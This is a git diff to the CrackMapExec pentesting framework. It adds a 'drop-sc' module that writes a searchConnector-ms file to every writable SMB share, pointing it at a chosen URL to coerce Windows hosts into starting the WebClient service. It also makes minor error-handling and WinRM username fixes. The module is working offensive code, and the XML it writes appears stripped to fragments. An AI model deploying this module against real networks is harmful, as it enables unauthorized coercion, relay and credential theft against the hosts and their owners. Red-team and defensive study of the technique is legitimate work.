diff --git a/cme/modules/drop_searchConnector-ms.py b/cme/modules/drop_searchConnector-ms.py new file mode 100644 index 00000000..4ab6a114 --- /dev/null +++ b/cme/modules/drop_searchConnector-ms.py @@ -0,0 +1,80 @@ +import ntpath + +class CMEModule: + ''' + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + ''' + + name = 'drop-sc' + description = 'Drop a searchConnector-ms file on each writable share' + supported_protocols = ["smb"] + opsec_safe= False + multiple_hosts = True + + def options(self, context, module_options): + ''' + Technique discovered by @DTMSecurity and @domchell to remotely coerce an host to start WebClient service. + https://dtm.uk/exploring-search-connectors-and-library-files-on-windows/ + Module by @zblurx + URL URL in the searchConnector-ms file, default https://rickroll + CLEANUP Cleanup (choices: True or False) + SHARE Specify a share to target + FILENAME Specify the filename used WITHOUT the extension searchConnector-ms (it's automatically added), default is "Documents" + ''' + self.cleanup = False + if 'CLEANUP' in module_options: + self.cleanup = bool(module_options['CLEANUP']) + + self.url = 'https://rickroll' + if 'URL' in module_options: + self.url = str(module_options['URL']) + + self.sharename = '' + if 'SHARE' in module_options: + self.sharename = str(module_options['SHARE']) + + self.filename = 'Documents' + if 'FILENAME' in module_options: + self.filename = str(module_options['FILENAME']) + + self.file_path = ntpath.join('\\', '{}.searchConnector-ms'.format(self.filename)) + if not self.cleanup: + self.scfile_path = '/tmp/{}.searchConnector-ms'.format(self.filename) + scfile = open(self.scfile_path, 'w') + scfile.truncate(0) + scfile.write('') + scfile.write('') + scfile.write('Microsoft Outlook') + scfile.write('false') + scfile.write('true') + scfile.write('{}/0001.ico'.format(self.url)) + scfile.write('') + scfile.write('{91475FE5-586B-4EBA-8D75-D17434B8CDF6}') + scfile.write('') + scfile.write('') + scfile.write('{}'.format(self.url)) + scfile.write('') + scfile.write('') + scfile.close() + + def on_login(self, context, connection): + shares = connection.shares() + for share in shares: + if 'WRITE' in share['access'] and (share['name'] == self.sharename if self.sharename != '' else share['name'] not in ['C$','ADMIN$']): + context.log.success('Found writable share: {}'.format(share['name'])) + if not self.cleanup: + with open(self.scfile_path, 'rb') as scfile: + try: + connection.conn.putFile(share['name'], self.file_path, scfile.read) + context.log.success('Created {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) + except Exception as e: + context.log.error('Error writing {}.searchConnector-ms file on the {} share: {}'.format(self.filename, share['name'], e)) + else: + try: + connection.conn.deleteFile(share['name'], self.file_path) + context.log.success('Deleted {}.searchConnector-ms file on the {} share'.format(self.filename, share['name'])) + except Exception as e: + context.log.error('Error deleting {}.searchConnector-ms file on share {}: {}'.format(self.filename, share['name'], e)) + diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index 0f0bea31..9c9ecd46 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -386,6 +386,9 @@ class smb(connection): return False if not self.args.continue_on_success: return True + except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: + self.logger.error('Connection Error: {}'.format(e)) + return False def hash_login(self, domain, username, ntlm_hash): #Re-connect since we logged off @@ -444,6 +447,9 @@ class smb(connection): return False if not self.args.continue_on_success: return True + except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e: + self.logger.error('Connection Error: {}'.format(e)) + return False def create_smbv1_conn(self): try: @@ -628,8 +634,8 @@ class smb(connection): perms = share['access'] self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) - except SessionError as e: - self.logger.error('SessionError enumerating shares: {}'.format(e)) + except (SessionError, UnicodeEncodeError) as e: + self.logger.error('Error enumerating shares: {}'.format(e)) except Exception as e: error = e.getErrorString() self.logger.error('Error enumerating shares: {}'.format(error), diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index f6af6c68..15fd326f 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -140,7 +140,7 @@ class winrm(connection): log.addFilter(SuppressFilter()) self.conn = Client(self.host, auth='ntlm', - username=username, + username=u'{}\\{}'.format(domain, username), password=password, ssl=False) @@ -188,7 +188,7 @@ class winrm(connection): if nthash: self.nthash = nthash self.conn = Client(self.host, auth='ntlm', - username=username, + username=u'{}\\{}'.format(domain, username), password=ntlm_hash, ssl=False)